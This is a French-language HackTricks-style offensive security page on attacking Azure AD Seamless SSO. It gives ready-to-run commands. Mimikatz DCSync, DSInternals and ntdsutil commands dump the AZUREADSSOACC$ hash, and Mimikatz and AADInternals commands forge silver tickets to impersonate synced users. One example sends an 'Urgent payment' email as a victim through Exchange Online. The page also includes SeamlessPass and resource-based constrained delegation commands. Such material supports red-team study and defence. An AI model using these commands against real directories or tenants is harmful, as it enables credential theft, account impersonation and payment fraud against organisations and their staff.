# Az - Seamless SSO

{{#include ../../../../banners/hacktricks-training.md}}

## Informations de base

[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **connecte automatiquement les utilisateurs lorsqu'ils sont sur leurs appareils d'entreprise** connectés à votre réseau d'entreprise. Lorsqu'il est activé, **les utilisateurs n'ont pas besoin de saisir leurs mots de passe pour se connecter à Azure AD**, et généralement, même pas leurs noms d'utilisateur. Cette fonctionnalité offre à vos utilisateurs un accès facile à vos applications basées sur le cloud sans nécessiter de composants supplémentaires sur site.

<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>

Fondamentalement, Azure AD Seamless SSO **connecte les utilisateurs** lorsqu'ils sont **sur un PC joint à un domaine sur site**.

Il est pris en charge à la fois par [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) et [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).

Le SSO de bureau utilise **Kerberos** pour l'authentification. Lorsqu'il est configuré, Azure AD Connect crée un **compte d'ordinateur appelé AZUREADSSOACC`$`** dans l'AD sur site. Le mot de passe du compte `AZUREADSSOACC$` est **envoyé en texte clair à Azure AD** lors de la configuration.

Les **tickets Kerberos** sont **chiffrés** en utilisant le **NTHash (MD4)** du mot de passe et Azure AD utilise le mot de passe envoyé pour déchiffrer les tickets.

**Azure AD** expose un **point de terminaison** (https://autologon.microsoftazuread-sso.com) qui accepte les **tickets** Kerberos. Le navigateur de la machine jointe au domaine transmet les tickets à ce point de terminaison pour le SSO.

### Sur site -> cloud

Le **mot de passe** de l'utilisateur **`AZUREADSSOACC$` ne change jamais**. Par conséquent, un administrateur de domaine pourrait compromettre le **hash de ce compte**, puis l'utiliser pour **créer des tickets argentés** pour se connecter à Azure avec **tout utilisateur sur site synchronisé** :
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
Avec le hash, vous pouvez maintenant **générer des tickets argent** :
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
```
Pour utiliser le silver ticket, les étapes suivantes doivent être exécutées :

1. **Initier le Navigateur :** Mozilla Firefox doit être lancé.
2. **Configurer le Navigateur :**
- Naviguez vers **`about:config`**.
- Définissez la préférence pour [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) aux [valeurs](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) spécifiées :
- `https://aadg.windows.net.nsatc.net`
- `https://autologon.microsoftazuread-sso.com`
3. **Accéder à l'Application Web :**
- Visitez une application web qui est intégrée au domaine AAD de l'organisation. Un exemple courant est [Office 365](https://portal.office.com/).
4. **Processus d'Authentification :**
- À l'écran de connexion, le nom d'utilisateur doit être saisi, en laissant le champ du mot de passe vide.
- Pour continuer, appuyez sur TAB ou ENTER.

> [!TIP]
> Cela ne contourne pas la MFA si elle est activée

#### Option 2 sans dcsync - SeamlessPass

Il est également possible d'effectuer cette attaque **sans une attaque dcsync** pour être plus furtif comme [expliqué dans cet article de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Pour cela, vous n'avez besoin que de l'un des éléments suivants :

- **Un TGT d'utilisateur compromis :** Même si vous n'en avez pas, mais que l'utilisateur a été compromis, vous pouvez en obtenir un en utilisant le truc de délégation de faux TGT implémenté dans de nombreux outils tels que [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) et [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Golden Ticket** : Si vous avez la clé KRBTGT, vous pouvez créer le TGT dont vous avez besoin pour l'utilisateur attaqué.
- **Un hash NTLM ou une clé AES d'un utilisateur compromis :** SeamlessPass communiquera avec le contrôleur de domaine avec ces informations pour générer le TGT.
- **Hash NTLM ou clé AES du compte AZUREADSSOACC$ :** Avec ces informations et l'Identifiant de Sécurité (SID) de l'utilisateur à attaquer, il est possible de créer un ticket de service et de s'authentifier avec le cloud (comme effectué dans la méthode précédente).

Enfin, avec le TGT, il est possible d'utiliser l'outil [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) avec :
```
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
```
Des informations supplémentaires pour configurer Firefox afin de fonctionner avec le SSO transparent peuvent être [**trouvées dans cet article de blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).

#### ~~Création de tickets Kerberos pour les utilisateurs uniquement cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>

Si les administrateurs Active Directory ont accès à Azure AD Connect, ils peuvent **définir le SID pour tout utilisateur cloud**. De cette manière, des **tickets** Kerberos peuvent également être **créés pour les utilisateurs uniquement cloud**. La seule exigence est que le SID soit un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).

> [!CAUTION]
> Changer le SID des utilisateurs administrateurs uniquement cloud est maintenant **bloqué par Microsoft**.\
> Pour plus d'infos, consultez [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)

### Sur site -> Cloud via Délégation Contraignante Basée sur les Ressources <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>

Quiconque peut gérer des comptes d'ordinateur (`AZUREADSSOACC$`) dans le conteneur ou l'OU où se trouve ce compte peut **configurer une délégation contrainte basée sur les ressources sur le compte et y accéder**.
```python
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
```
## Références

- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)

{{#include ../../../../banners/hacktricks-training.md}}
